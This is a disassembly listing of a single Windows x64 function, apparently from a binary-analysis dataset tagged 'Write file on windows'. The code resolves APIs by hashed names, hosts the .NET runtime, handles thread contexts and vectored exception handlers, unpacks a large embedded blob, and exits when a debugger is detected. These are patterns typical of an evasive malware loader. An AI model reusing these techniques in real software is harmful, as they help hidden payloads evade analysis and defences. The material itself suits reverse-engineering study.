Function at 0x418ce0
Capabilities:
Write file on windows

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x1b8
movaps xmmword [rsp + 0x110], xmm6
movaps xmmword [rsp + 0x120], xmm7
movaps xmmword [rsp + 0x130], xmm8
movaps xmmword [rsp + 0x140], xmm9
movaps xmmword [rsp + 0x150], xmm10
movaps xmmword [rsp + 0x160], xmm11
movaps xmmword [rsp + 0x170], xmm12
movaps xmmword [rsp + 0x180], xmm13
movaps xmmword [rsp + 0x190], xmm14
movaps xmmword [rsp + 0x1a0], xmm15
lea rdi, [0x0053a1e0]
call fcn.00417690
mov eax, 0x331
movdqa xmm10, xmmword [0x00533c80]
mov qword [0x00539808], rdi
movdqa xmm6, xmmword [0x00533b70]
mov word [0x00539800], ax
lea rax, [0x005397f0]
movaps xmmword [0x005397f0], xmm10
lea rcx, [0x0041f190]
mov rsi, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
movaps xmmword [0x005397b0], xmm6
mov byte [0x005397c0], 0x16
mov qword [0x005397c8], rax
call rsi
test rax, rax
mov qword [0x00539830], rax
je 0x41a501
lea rdx, [0x00539d80]
mov r13d, 0x32c
movq xmm12, qword [0x00533db8]
mov r15d, 0x323
lea rbx, [0x00539900]
movq xmm4, rdx
sub rdx, 0x60
movq xmm11, qword [0x00533db8]
movq xmm2, rdx
movq xmm13, rbx
sub rdx, 0x30
punpcklqdq xmm13, xmm4
movq xmm4, rdx
sub rdx, 0x1e0
movq xmm7, rbx
movq xmm3, rdx
movq xmm14, rbx
lea rdx, [0x0041d504]
punpcklqdq xmm14, xmm2
lea rbx, [0x00539a90]
movq xmm2, rdx
lea rbp, [0x0053ac30]
movq xmm15, rbx
lea rdx, str.qllrweyh
movq xmm0, rbp
punpcklqdq xmm15, xmm4
punpcklqdq xmm0, xmm3
lea rcx, [0x00539a20]
movq xmm4, rdx
movq xmm3, qword [0x00533db0]
lea rdx, str.fwwh
movq xmm9, rcx
movq xmm1, rcx
movaps xmmword [rsp + 0xa0], xmm0
lea rcx, [0x005399e0]
movq xmm5, rdx
punpcklqdq xmm1, xmm2
movaps xmmword [rsp + 0x90], xmm1
lea rdx, str.hwpokmyd
punpcklqdq xmm3, xmm5
movq xmm2, rcx
movaps xmmword [rsp + 0x70], xmm3
movq xmm3, rdx
punpcklqdq xmm2, xmm4
movq xmm4, rcx
movaps xmmword [rsp + 0x80], xmm2
lea rdx, [0x0041d524]
punpcklqdq xmm4, xmm3
movaps xmmword [rsp + 0x60], xmm4
movq xmm3, rbx
movq xmm2, rdx
movq xmm8, rcx
mov rcx, rax
lea rdx, str.name
lea r12, [0x0053a430]
movq xmm4, rdx
movq xmm5, r12
punpcklqdq xmm8, xmm4
lea rdx, str.rkrren
punpcklqdq xmm5, xmm2
movaps xmmword [rsp + 0x50], xmm5
lea r14, [0x0053b200]
movq xmm5, rdx
lea rdx, [0x00539db0]
punpcklqdq xmm9, xmm5
movq xmm1, rdx
add rdx, 0x90
punpcklqdq xmm3, xmm1
movdqa xmm1, xmm7
movq xmm7, rdx
sub rdx, 0x60
punpcklqdq xmm1, xmm7
movq xmm7, rdx
add rdx, 0x30
movaps xmmword [rsp + 0x30], xmm3
punpcklqdq xmm12, xmm7
movq xmm7, rdx
movaps xmmword [rsp + 0x40], xmm1
lea rdx, str.SetConsoleOutputCP
punpcklqdq xmm11, xmm7
call fcn.00414640
mov rcx, qword [0x00539830]
lea rdx, str.SetConsoleCP
mov qword [0x0053acb8], rax
call fcn.00414640
movdqa xmm5, xmmword [rsp + 0x50]
mov edx, 0x31d
mov qword [0x00539a38], rbx
mov qword [0x0053acb0], rax
mov eax, 0x111
movdqa xmm7, xmmword [0x00533d30]
mov ecx, 0x21c
mov word [0x0053ac40], ax
lea rax, [0x00539ae0]
mov r8d, 0x112
mov r9d, 0x31f
lea rbx, [rax + 0x60]
mov qword [0x0053ac50], rax
add rax, 0x90
mov r10d, 0x31a
movq xmm2, rax
movaps xmmword [0x00539bb0], xmm5
add rax, 0x60
movq xmm5, rbx
add rbx, 0x60
punpcklqdq xmm5, xmm2
movq xmm4, rax
movaps xmmword [0x00539a60], xmm5
add rax, 0x90
movq xmm5, rbx
mov word [0x005399f0], dx
add rbx, 0x90
punpcklqdq xmm5, xmm4
movaps xmmword [0x00539a70], xmm5
movq xmm5, rax
add rax, 0x30
mov word [0x0053a440], cx
mov edx, 0x315
mov r11d, 0x301
mov ecx, 0x315
mov qword [0x0053ac48], 0
movaps xmmword [0x0053ac30], xmm6
mov qword [0x00539b00], 0
mov byte [0x00539ae0], 2
movaps xmmword [0x00539a90], xmm7
mov byte [0x00539aa0], 0x11
movaps xmmword [0x00539a20], xmm6
mov byte [0x00539a30], 0x16
mov byte [0x00539b40], 1
mov qword [0x00539b48], 8
movaps xmmword [0x00539b50], xmm9
mov qword [0x005399f8], 0
movaps xmmword [0x005399e0], xmm6
mov byte [0x00539b70], 1
mov qword [0x00539b78], 0x10
movaps xmmword [0x00539b80], xmm8
mov qword [0x0053a448], 0
movaps xmmword [0x0053a430], xmm6
mov byte [0x00539ba0], 1
mov qword [0x00539ba8], 0x18
mov qword [0x005399b8], 0
movdqa xmm8, xmmword [0x00533c70]
mov qword [0x00539990], rax
lea rax, [0x00539980]
movdqa xmm4, xmmword [rsp + 0x60]
mov qword [0x00539c28], rax
lea rax, [rbx - 0x30]
movdqa xmm2, xmmword [rsp + 0x80]
mov qword [0x005399c0], rax
lea rax, [0x005399a0]
movdqa xmm3, xmmword [rsp + 0x70]
movaps xmmword [0x00539c40], xmm4
movq xmm4, rbx
mov qword [0x00539958], rax
lea rbx, [0x00539940]
punpcklqdq xmm4, xmm5
lea rax, str.trace
movaps xmmword [0x00539980], xmm4
movaps xmmword [0x00539ca0], xmm2
movq xmm4, rax
movq xmm2, rbx
lea rax, [0x00539cc0]
punpcklqdq xmm2, xmm4
mov word [0x005399b0], r8w
mov r8d, 0x315
mov word [0x0053a530], r9w
lea rbx, [0x005398c0]
mov r9d, 0x315
movaps xmmword [0x00539c70], xmm3
movaps xmmword [0x00539be0], xmm2
mov qword [0x00539a80], rax
lea rax, [0x00539a60]
movaps xmmword [0x005399a0], xmm8
mov byte [0x00539c30], 1
mov qword [0x00539c38], 0
mov qword [0x0053a538], 0
movaps xmmword [0x0053a520], xmm6
mov byte [0x00539c60], 1
mov qword [0x00539c68], 8
mov byte [0x00539c90], 1
mov qword [0x00539c98], 0x10
mov qword [0x00539c20], 3
mov byte [0x00539c00], 2
movaps xmmword [0x00539940], xmm6
mov byte [0x00539950], 0x18
mov byte [0x00539bd0], 1
mov qword [0x00539bd8], 0x20
mov byte [0x00539cc0], 1
mov qword [0x00539cc8], 0x28
movdqa xmm0, xmmword [rsp + 0xa0]
movdqa xmm1, xmmword [rsp + 0x90]
mov qword [0x00539b38], rax
lea rax, [0x00539d50]
movq xmm2, rax
movups xmmword [0x00539aa8], xmm0
movq xmm0, rbx
mov ebx, 0x31f
punpcklqdq xmm0, xmm2
movups xmmword [0x00539898], xmm0
movdqa xmm0, xmmword [0x00533d40]
lea rax, [0x0053b280]
movaps xmmword [0x00539cd0], xmm1
mov word [0x0053a4f0], r10w
mov r10d, 0x315
mov qword [0x00539b30], 5
mov byte [0x00539b10], 2
movaps xmmword [0x00539900], xmm7
mov byte [0x00539910], 0x11
mov qword [0x00539d10], 0
mov byte [0x00539cf0], 2
movups xmmword [0x00539918], xmm15
movaps xmmword [0x005398c0], xmm7
mov byte [0x005398d0], 0x11
mov qword [0x00539d40], 0
mov byte [0x00539d20], 2
movups xmmword [0x005398d8], xmm14
movaps xmmword [0x00539880], xmm7
mov byte [0x00539890], 0x11
mov qword [0x00539d70], 0
mov byte [0x00539d50], 2
movaps xmmword [0x00539840], xmm7
mov byte [0x00539850], 0x11
mov qword [0x00539da0], 0
mov byte [0x00539d80], 2
movups xmmword [0x00539858], xmm13
mov qword [0x0053a4f8], 0
movaps xmmword [0x0053a4e0], xmm6
mov qword [0x0053a4b8], 0
movaps xmmword [0x0053a4a0], xmm0
movdqa xmm3, xmmword [rsp + 0x30]
mov qword [0x0053b2d8], rax
mov eax, 0x322
mov word [0x0053a4b0], r11w
mov r11d, 0x315
movups xmmword [0x0053a968], xmm3
mov word [0x0053aae0], bx
lea rbx, [0x0053ad70]
mov word [0x0053a300], r13w
lea r13, [0x0053a8d0]
movaps xmmword [0x0053a950], xmm7
mov byte [0x0053a960], 0x11
mov qword [0x00539dd0], 0
mov byte [0x00539db0], 2
movaps xmmword [0x0053b200], xmm7
mov byte [0x0053b210], 0x11
mov qword [0x00539e00], 0
mov byte [0x00539de0], 2
movups xmmword [0x0053b218], xmm12
movaps xmmword [0x0053b280], xmm7
mov byte [0x0053b290], 0x11
mov qword [0x00539e30], 0
mov byte [0x00539e10], 2
movups xmmword [0x0053b298], xmm11
movaps xmmword [0x0053b2c0], xmm6
mov byte [0x0053b2d0], 0x16
mov qword [0x0053aae8], 0
movaps xmmword [0x0053aad0], xmm6
mov qword [0x0053a308], 0
movaps xmmword [0x0053a2f0], xmm6
movaps xmmword [0x0053b240], xmm6
mov byte [0x0053b250], 0x16
mov qword [0x0053b258], r14
movaps xmmword [0x0053ad70], xmm7
mov byte [0x0053ad80], 0x11
mov qword [0x00539e60], 0
mov byte [0x00539e40], 2
movdqa xmm1, xmmword [rsp + 0x40]
mov word [0x0053a8e0], ax
mov eax, 0x329
mov word [0x0053ac80], ax
mov eax, 0x321
mov word [0x0053a1f0], ax
mov eax, 0x325
mov word [0x0053a1b0], ax
mov eax, 0x324
mov word [0x0053a170], ax
lea rax, [0x0053a0e0]
movups xmmword [0x0053ad88], xmm1
movdqa xmm1, xmmword [0x00533d50]
mov qword [0x0053a138], rax
mov eax, 0x315
mov word [0x0053a230], r15w
lea r15, [0x0053ac70]
mov word [0x0053a130], ax
lea rax, [0x0053a220]
movaps xmmword [0x0053a8d0], xmm1
movaps xmmword [0x0053ac70], xmm0
movaps xmmword [0x0053a1a0], xmm1
mov word [0x0053a0b0], dx
mov qword [0x0053a078], rdi
mov edi, 0x315
movaps xmmword [0x0053adb0], xmm6
mov byte [0x0053adc0], 0x16
mov qword [0x0053adc8], rbx
mov qword [0x0053a238], 0
movaps xmmword [0x0053a220], xmm6
mov qword [0x0053a8e8], 0
mov qword [0x0053ac88], 0
mov qword [0x0053a1f8], 0
movaps xmmword [0x0053a1e0], xmm10
mov qword [0x0053a1b8], 0
mov qword [0x0053a178], 0
movaps xmmword [0x0053a160], xmm6
movaps xmmword [0x0053a120], xmm6
mov qword [0x0053a0b8], r15
movaps xmmword [0x0053a0a0], xmm6
movaps xmmword [0x0053a060], xmm6
mov word [0x0053a070], cx
lea rcx, [0x0041f210]
mov qword [0x00539ff8], rax
lea rax, [0x0053a1a0]
mov qword [0x00539fb8], rax
lea rax, [0x0053a160]
mov qword [0x00539f78], rax
lea rax, [0x0053a120]
mov qword [0x00539f38], rax
mov eax, 0x302
mov word [0x00539ef0], ax
lea rax, [0x00539ee0]
mov qword [0x00539eb8], rax
mov eax, 0x315
mov qword [0x0053a038], r13
movaps xmmword [0x0053a020], xmm6
mov word [0x0053a030], r8w
movaps xmmword [0x00539fe0], xmm6
mov word [0x00539ff0], r9w
movaps xmmword [0x00539fa0], xmm6
mov word [0x00539fb0], r10w
movaps xmmword [0x00539f60], xmm6
mov word [0x00539f70], r11w
movaps xmmword [0x00539f20], xmm6
mov word [0x00539f30], di
mov qword [0x00539ef8], 0
movaps xmmword [0x00539ee0], xmm0
movaps xmmword [0x00539ea0], xmm6
mov word [0x00539eb0], ax
call rsi
test rax, rax
mov qword [0x00539e90], rax
je 0x41a50d
lea rdx, str.IsEqualGUID
mov rcx, rax
call fcn.00414640
lea rcx, [0x0041f1d0]
mov qword [0x00539e88], rax
call rsi
test rax, rax
mov qword [0x00539e80], rax
je 0x41a519
lea rdx, str.RtlAllocateHeap
mov rcx, rax
call fcn.00414640
mov rcx, qword [0x00539e80]
lea rdx, str.RtlInitUnicodeString
mov qword [0x00539e78], rax
call fcn.00414640
lea rcx, [0x0041f290]
mov qword [0x00539e70], rax
call rsi
test rax, rax
mov qword [0x0053a288], rax
je 0x41a4f5
lea rdx, str.WideCharToMultiByte
mov rcx, rax
call fcn.00414640
lea rcx, [0x0041f250]
mov qword [0x0053a280], rax
call rsi
test rax, rax
mov qword [0x0053a278], rax
je 0x41a525
lea rdx, str.SysStringLen
mov rcx, rax
call fcn.00414640
mov rcx, qword [0x0053a288]
lea rdx, str.MultiByteToWideChar
mov qword [0x0053a270], rax
call fcn.00414640
mov rcx, qword [0x0053a288]
lea rdx, str.lstrlenW
mov qword [0x0053a268], rax
call fcn.00414640
lea rcx, [0x0041f2d0]
mov qword [0x0053a260], rax
call rsi
test rax, rax
mov qword [0x0053a2e0], rax
je 0x41a531
lea rdx, [0x0041d5c3]
mov rcx, rax
movq xmm10, qword [0x00533db0]
lea rdi, [0x0053a330]
movq xmm3, rdx
lea rdx, str.GetProcessHeap
punpcklqdq xmm10, xmm3
call fcn.00414640
mov rcx, qword [0x0053a2e0]
lea rdx, str.GetCurrentThread
mov qword [0x0053ad48], rax
call fcn.00414640
mov rcx, qword [0x0053a2e0]
lea rdx, str.GetThreadContext
mov qword [0x0053a2d8], rax
call fcn.00414640
mov rcx, qword [0x0053a2e0]
lea rdx, str.GetTickCount
mov qword [0x0053a2d0], rax
call fcn.00414640
mov rcx, qword [0x0053a2e0]
lea rdx, str.Sleep
mov qword [0x0053ad50], rax
call fcn.00414640
mov rcx, qword [0x0053a2e0]
lea rdx, str.GetProcAddress
mov qword [0x0053ae78], rax
call fcn.00414640
mov rcx, qword [0x0053a2e0]
lea rdx, str.GetModuleHandleA
mov qword [0x0053af20], rax
call fcn.00414640
mov rcx, qword [0x0053a2e0]
lea rdx, str.HeapCreate
mov qword [0x0053af28], rax
call fcn.00414640
mov rcx, qword [0x0053a2e0]
lea rdx, str.HeapAlloc
mov qword [0x0053ae90], rax
call fcn.00414640
mov rcx, qword [0x0053a2e0]
lea rdx, str.CreateFileA
mov qword [0x0053ae88], rax
call fcn.00414640
mov rcx, qword [0x0053a2e0]
lea rdx, str.GetFileSize
mov qword [0x0053a2c8], rax
call fcn.00414640
mov rcx, qword [0x0053a2e0]
lea rdx, str.ReadFile
mov qword [0x0053a2c0], rax
call fcn.00414640
mov rcx, qword [0x0053a2e0]
lea rdx, str.GetModuleHandleW
mov qword [0x0053a2b8], rax
call fcn.00414640
mov rcx, qword [0x0053a2e0]
lea rdx, str.VirtualProtect
mov qword [0x0053a2b0], rax
call fcn.00414640
mov rcx, qword [0x0053a2e0]
lea rdx, str.SetThreadContext
mov qword [0x0053ae80], rax
call fcn.00414640
mov rcx, qword [0x0053a2e0]
lea rdx, str.GetCurrentProcessId
mov qword [0x0053a2a8], rax
call fcn.00414640
mov rcx, qword [0x0053a2e0]
lea rdx, str.CloseHandle
mov qword [0x0053a2a0], rax
call fcn.00414640
mov rcx, qword [0x0053a2e0]
lea rdx, str.OpenThread
mov qword [0x0053a298], rax
call fcn.00414640
mov rcx, qword [0x0053a2e0]
lea rdx, str.CreateThread
mov qword [0x0053a290], rax
call fcn.00414640
movdqa xmm0, xmmword [0x00533d70]
mov qword [0x0053aa28], 0
lea rcx, [0x0041f310]
movdqa xmm9, xmmword [0x00533d60]
mov qword [0x0053ae70], rax
lea rax, [0x0053a2f0]
mov qword [0x0053a348], rax
lea rax, str.skey
movq xmm3, rax
movaps xmmword [0x0053a330], xmm0
movq xmm0, rdi
lea rax, [0x0053a3e0]
punpcklqdq xmm0, xmm3
movaps xmmword [0x0053a3c0], xmm0
lea rdi, [rax - 0x30]
movq xmm3, rax
movaps xmmword [0x0053aa10], xmm9
lea rax, [0x0053a410]
movq xmm0, rdi
mov word [0x0053aa20], 0x112
mov qword [0x0053a3a8], rax
lea rax, [rdi - 0x30]
punpcklqdq xmm0, xmm3
mov word [0x0053a340], 0x110
mov byte [0x0053a3b0], 1
mov qword [0x0053a3b8], 0
movaps xmmword [0x0053a410], xmm0
mov byte [0x0053a3e0], 1
mov qword [0x0053a3e8], 0x3c0
movaps xmmword [0x0053a3f0], xmm10
mov qword [0x0053a3a0], 2
mov byte [0x0053a380], 2
mov qword [0x0053aa30], rax
call rsi
test rax, rax
mov qword [0x0053a420], rax
je 0x41a545
lea rdx, str.GetCommandLineW
mov rcx, rax
call fcn.00414640
movaps xmmword [0x0053ae20], xmm6
mov qword [0x0053adf8], rax
mov byte [0x0053ae30], 0x18
mov qword [0x0053ae38], r12
call fcn.00414f80
lea rcx, [0x0041f350]
call rsi
test rax, rax
mov qword [0x0053a478], rax
je 0x41a5ad
lea rdx, str.CLRCreateInstance
mov rcx, rax
call fcn.00414640
lea rcx, [0x0041f390]
mov qword [0x0053a470], rax
call rsi
test rax, rax
mov qword [0x0053a498], rax
je 0x41a551
lea rdx, str.counter
movq xmm14, r13
movq xmm13, qword [0x00533db0]
mov rcx, rax
movq xmm3, rdx
movq xmm10, rbp
movq xmm11, qword [0x00533db0]
lea rdx, str.liigrl
punpcklqdq xmm13, xmm3
movq xmm15, qword [0x00533db8]
lea rdi, [0x0053a4e0]
movq xmm3, rdx
lea rdx, str.hresult
punpcklqdq xmm11, xmm3
movq xmm12, rdi
lea r12, [0x0053aad0]
movq xmm1, rdx
lea rdx, [0x0053a920]
punpcklqdq xmm14, xmm1
movq xmm1, r14
lea r14, [0x0053b090]
movq xmm5, rdx
lea rdx, [0x0053ab20]
punpcklqdq xmm15, xmm5
lea rdi, [0x0053aa10]
movq xmm3, rdx
lea rdx, [0x0053a820]
punpcklqdq xmm10, xmm3
lea r13, [0x0053aea0]
movq xmm5, rdx
lea rdx, str.CreateToolhelp32Snapshot
punpcklqdq xmm1, xmm5
movaps xmmword [rsp + 0x30], xmm1
call fcn.00414640
mov rcx, qword [0x0053a498]
lea rdx, str.Thread32First
mov qword [0x0053a490], rax
call fcn.00414640
mov rcx, qword [0x0053a498]
lea rdx, str.Thread32Next
mov qword [0x0053a488], rax
call fcn.00414640
lea rcx, [0x0053a650]
mov qword [0x0053a868], 0
mov edx, 0x24b025ca
mov qword [0x0053a480], rax
lea rax, [0x0041d712]
movq xmm2, rcx
movq xmm1, rax
movaps xmmword [0x0053a850], xmm8
lea rax, [0x0053a6a0]
punpcklqdq xmm2, xmm1
movaps xmmword [0x0053a6b0], xmm2
movdqa xmm2, xmmword [0x00533c90]
mov qword [0x0053a870], rax
lea rax, [0x0053a850]
mov qword [0x0053b148], rax
lea rax, [0x0053b130]
mov qword [0x0053a628], rax
lea rax, [0x00401a70]
mov qword [0x0053b158], rax
lea rax, [0x0053a790]
lea rcx, [rax - 0x30]
movq xmm3, rax
movaps xmmword [0x0053a5d0], xmm2
lea rax, str.xzdhla
movq xmm0, rcx
mov word [0x0053a860], 0x112
movq xmm1, rax
punpcklqdq xmm0, xmm3
mov byte [0x0053a6a0], 1
lea rax, [rcx + 0x60]
punpcklqdq xmm12, xmm1
movaps xmmword [0x0053a560], xmm0
mov qword [0x0053a570], rax
lea rax, str.Field2
movq xmm5, rax
movaps xmmword [0x0053b130], xmm6
lea rax, [0x0053a560]
mov byte [0x0053b140], 0x16
mov qword [0x0053a6a8], 0
movaps xmmword [0x0053a610], xmm6
mov byte [0x0053a620], 0x18
mov byte [0x0053a5e0], 0x12
mov qword [0x0053a5e8], 0
mov qword [0x0053a598], 0
movaps xmmword [0x0053a580], xmm8
mov word [0x0053a590], 0x112
mov byte [0x0053a760], 1
mov qword [0x0053a768], 0
movaps xmmword [0x0053a770], xmm11
mov byte [0x0053a790], 1
mov qword [0x0053a798], 8
movaps xmmword [0x0053a7a0], xmm12
mov byte [0x0053a7c0], 1
mov qword [0x0053a7c8], 0x10
movq xmm11, qword [0x00533dc0]
mov qword [0x0053a758], rax
lea rax, [rcx - 0x30]
mov qword [0x0053a5a0], rax
lea rax, [0x0053a580]
punpcklqdq xmm11, xmm5
mov qword [0x0053b198], rax
lea rax, str.data
movq xmm3, rax
movaps xmmword [0x0053b090], xmm7
lea rax, [0x0053a7f0]
movaps xmmword [0x0053a7d0], xmm11
lea rcx, [0x0053b180]
movq xmm1, rax
mov qword [0x0053a750], 3
movq xmm0, rcx
mov byte [0x0053a730], 2
lea rcx, [rax - 0xf0]
punpcklqdq xmm0, xmm3
movaps xmmword [0x0053a710], xmm0
lea rax, [0x0053a5c0]
movq xmm0, rcx
movaps xmmword [0x0053b180], xmm6
punpcklqdq xmm0, xmm1
mov qword [0x0053a6f8], rax
movdqa xmm1, xmmword [rsp + 0x30]
lea rax, [rcx - 0x30]
mov qword [0x0053a5f0], rax
lea rax, [0x0053a5d0]
movups xmmword [0x0053b0a8], xmm1
mov qword [0x0053b1d8], rax
lea rax, [0x0053a990]
mov byte [0x0053b190], 0x18
mov byte [0x0053a700], 1
mov qword [0x0053a708], 0
movaps xmmword [0x0053a5c0], xmm0
mov byte [0x0053a7f0], 1
mov qword [0x0053a7f8], 8
movaps xmmword [0x0053a800], xmm13
mov qword [0x0053a6f0], 2
mov byte [0x0053a6d0], 2
movaps xmmword [0x0053b1c0], xmm6
mov byte [0x0053b1d0], 0x16
mov byte [0x0053b0a0], 0x11
mov qword [0x0053a840], 0
mov byte [0x0053a820], 2
movaps xmmword [0x0053b0d0], xmm6
mov byte [0x0053b0e0], 0x16
mov qword [0x0053b0e8], r14
movdqa xmm0, xmmword [0x00533cb0]
mov qword [0x0053a8a8], rax
lea rax, str.:state
movaps xmmword [0x0053a990], xmm0
movdqa xmm0, xmmword [0x00533d80]
movq xmm7, rax
lea rax, [0x0053ab80]
mov byte [0x0053a9a0], 0x11
lea rcx, [rax - 0x30]
movaps xmmword [0x0053aea0], xmm0
movq xmm0, r12
punpcklqdq xmm0, xmm7
movq xmm7, rax
movaps xmmword [0x0053ab60], xmm0
movq xmm0, rcx
punpcklqdq xmm0, xmm7
lea rax, str.key1
movaps xmmword [0x0053ac10], xmm0
movdqa xmm0, xmmword [0x00533d90]
movq xmm7, rax
mov byte [0x0053a920], 1
lea rcx, [0x0053aa90]
movaps xmmword [0x0053aa90], xmm0
lea rax, [0x0053abb0]
movq xmm0, rcx
mov qword [0x0053a928], 0x30
mov qword [0x0053ac20], rax
lea rax, str.cipher
punpcklqdq xmm0, xmm7
movq xmm7, rax
movaps xmmword [0x0053ab90], xmm0
movq xmm0, rdi
lea rax, [0x0053abe0]
movaps xmmword [0x0053a930], xmm14
punpcklqdq xmm0, xmm7
lea rdi, [0x0053aa50]
movups xmmword [0x0053a9a8], xmm15
movaps xmmword [0x0053a890], xmm6
lea rcx, [0x0041f460]
mov byte [0x0053a8a0], 0x16
movaps xmmword [0x0053ad00], xmm6
mov byte [0x0053ad10], 0x18
mov qword [0x0053ad18], r15
mov word [0x0053aeb0], 0x111
mov byte [0x0053ab50], 1
mov qword [0x0053ab58], 8
mov qword [0x0053aaa8], r15
mov word [0x0053aaa0], 0x110
mov byte [0x0053ab80], 1
mov qword [0x0053ab88], 0x10
mov qword [0x0053aa68], 0
movaps xmmword [0x0053aa50], xmm9
mov word [0x0053aa60], 0x112
mov byte [0x0053abe0], 1
mov qword [0x0053abe8], 0
mov qword [0x0053aa70], rax
lea rax, str.dctx2
movaps xmmword [0x0053abf0], xmm0
movq xmm7, rax
movq xmm0, rdi
lea rax, [0x0053ac10]
punpcklqdq xmm0, xmm7
mov byte [0x0053abb0], 1
movaps xmmword [0x0053abc0], xmm0
mov qword [0x0053abb8], 0x30
mov qword [0x0053ab40], 3
mov byte [0x0053ab20], 2
mov qword [0x0053ab48], rax
movups xmmword [0x0053aeb8], xmm10
movaps xmmword [0x0053aee0], xmm6
mov byte [0x0053aef0], 0x16
mov qword [0x0053aef8], r13
call fcn.00404540
mov rcx, rax
mov rdi, rax
call fcn.004147a0
test rax, rax
mov qword [0x0053aa00], rax
je 0x41a53d
lea rdx, str.RtlGetVersion
mov rcx, rax
call fcn.00414640
lea rcx, [0x0041f450]
mov qword [0x0053b080], rax
call rsi
test rax, rax
mov qword [0x0053a9f8], rax
je 0x41a609
lea rdx, str.RtlGetCurrentPeb
mov rcx, rax
call fcn.00414640
lea rcx, [0x0041f410]
mov qword [0x0053ad40], rax
call rsi
test rax, rax
mov qword [0x0053a9f0], rax
je 0x41a615
lea rdx, str.GetFileAttributesW
mov rcx, rax
call fcn.00414640
mov rcx, qword [0x0053a9f0]
lea rdx, str.OpenProcess
mov qword [0x0053ad58], rax
call fcn.00414640
mov edx, 0x5b9b2d0a
lea rcx, [0x0041f3c0]
mov qword [0x0053ad60], rax
call fcn.00404540
mov rcx, rax
mov rdi, rax
call fcn.004147a0
test rax, rax
mov qword [0x0053a9e8], rax
je 0x41a53d
lea rdx, str.LdrLoadDll
mov rcx, rax
call fcn.00414640
mov edx, 0x4c3023ea
lea rcx, [0x0041f3a0]
mov qword [0x0053a9e0], rax
call fcn.00404540
mov rcx, rax
mov rdi, rax
call fcn.004147a0
test rax, rax
mov qword [0x0053a9d8], rax
je 0x41a53d
lea rdx, str.RtlAddVectoredExceptionHandler
mov rcx, rax
call fcn.00414640
xor ecx, ecx
mov r12, qword [fcn.00418b60]
mov qword [0x0053a9d0], rax
call r12
mov rbp, qword [sym.imp.msvcrt.dll__fileno]
mov rcx, rax
call rbp
mov edx, 0x8000
mov rdi, qword [sym.imp.msvcrt.dll__setmode]
mov ecx, eax
call rdi
mov ecx, 1
call r12
mov rcx, rax
call rbp
mov edx, 0x8000
mov ecx, eax
call rdi
mov ecx, 2
call r12
mov rcx, rax
call rbp
mov edx, 0x8000
mov ecx, eax
call rdi
mov ecx, 0xfde9
call qword [0x0053acb8]
mov ecx, 0xfde9
call qword [0x0053acb0]
lea rcx, [0x0041f490]
call rsi
test rax, rax
je 0x41a2e8
lea rdx, str.inet_ntop
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [0x0053acc0]
xor eax, eax
mov byte [rdx + rax], 0
add rax, 1
cmp rax, 0x38
jne 0x41a2f1
lea rax, [0x00401980]
lea rsi, [0x00401c30]
movq xmm7, rax
lea rdi, [0x00414c90]
movq xmm0, rsi
lea rax, [0x00401990]
punpcklqdq xmm0, xmm7
movaps xmmword [rdx], xmm0
movq xmm0, rdi
lea rsi, [0x00401c10]
movq xmm7, rax
lea rax, [0x004019a0]
punpcklqdq xmm0, xmm7
movaps xmmword [0x0053acd0], xmm0
movq xmm0, rsi
lea rbp, [rsp + 0xd0]
movq xmm7, rax
lea rax, [0x00410880]
punpcklqdq xmm0, xmm7
movaps xmmword [0x0053ace0], xmm0
mov qword [0x0053acf0], rax
xor eax, eax
mov byte [rbp + rax], 0
add rax, 1
cmp rax, 0x18
jne 0x41a37c
cmp byte [0x0053b178], 0
lea rdi, [rsp + 0xf0]
mov ecx, 6
mov rsi, rbp
mov qword [rsp + 0x30], rdi
rep movsd dword [rdi], dword [rsi]
jne 0x41a3b8
call qword [0x0053b170]
mov byte [0x0053b178], 1
call fcn.00407760
lea rdx, [rax + 0x10]
mov qword [rax + 8], 1
add rax, 0x28
mov r15, rdx
mov byte [rdx], 0
add rdx, 1
cmp rdx, rax
jne 0x41a3d0
cmp qword [0x0053b120], 0
je 0x41a59c
cmp qword [0x0053b118], 0
je 0x41a58b
mov rcx, qword [0x0053b118]
mov r8d, 1
mov rdx, r15
mov rdi, r15
call fcn.0040f350
mov rsi, qword [rsp + 0x30]
mov ecx, 6
mov qword [0x0053ae10], r15
rep movsd dword [rdi], dword [rsi]
lea rcx, [0x0053af60]
call qword [0x0053b080]
mov eax, dword [0x0053af64]
cmp eax, 6
je 0x41a55d
cmp eax, 5
jg 0x41a44e
mov dword [0x0053af50], 1
lea rcx, [0x005338a0]
mov edx, 0xb4b7cee
call fcn.00404540
mov rcx, rax
mov qword [0x0053af48], rax
call fcn.004042e0
mov edx, 0x112e00
lea rcx, [0x0053ad00]
mov qword [0x0053af40], rax
call fcn.0040d180
lea r8, [0x00420a90]
xor edx, edx
movzx ecx, byte [r8 + rdx]
mov byte [rax + rdx + 0x10], cl
add rdx, 1
cmp rdx, 0x112e00
jne 0x41a48f
mov rdx, qword [rax]
lea rcx, [0x0053ad00]
mov qword [0x0053af38], rax
call fcn.0040d180
mov qword [0x0053af30], rax
call qword [0x0053ad40]
cmp byte [rax + 2], 0
jne 0x41a5b9
call qword [0x0053ad48]
mov rsi, rax
call qword [0x0053ad48]
cmp dword [rsi + 0x70], 2
je 0x41a621
mov ecx, 1
call sub.msvcrt.dll_exit
lea rcx, [0x0041f260]
call fcn.00414ee0
lea rcx, [0x0041f160]
call fcn.00414ee0
lea rcx, [0x0041f1e0]
call fcn.00414ee0
lea rcx, [0x0041f1a0]
call fcn.00414ee0
lea rcx, [0x0041f220]
call fcn.00414ee0
lea rcx, [0x0041f2a0]
call fcn.00414ee0
mov rcx, rdi
call fcn.00414ee0
lea rcx, [0x0041f2e0]
call fcn.00414ee0
lea rcx, [0x0041f360]
call fcn.00414ee0
mov eax, dword [0x0053af68]
cmp eax, 2
je 0x41a444
cmp eax, 3
je 0x41a444
test eax, eax
je 0x41a444
sub eax, 1
je 0x41a444
jmp 0x41a44e
call fcn.0040d200
mov qword [0x0053b118], rax
jmp 0x41a3f8
call fcn.0040d200
mov qword [0x0053b120], rax
jmp 0x41a3ea
lea rcx, [0x0041f320]
call fcn.00414ee0
mov ecx, 1
call r12
lea rdx, [0x0041d8a0]
mov rcx, rax
call fcn.0040a650
mov ecx, 1
call r12
mov r8d, 1
mov edx, 1
lea rcx, [0x0041d048]
mov r9, rax
call sub.msvcrt.dll_fwrite
mov ecx, 1
call r12
mov rcx, rax
call fcn.00418ae8
xor ecx, ecx
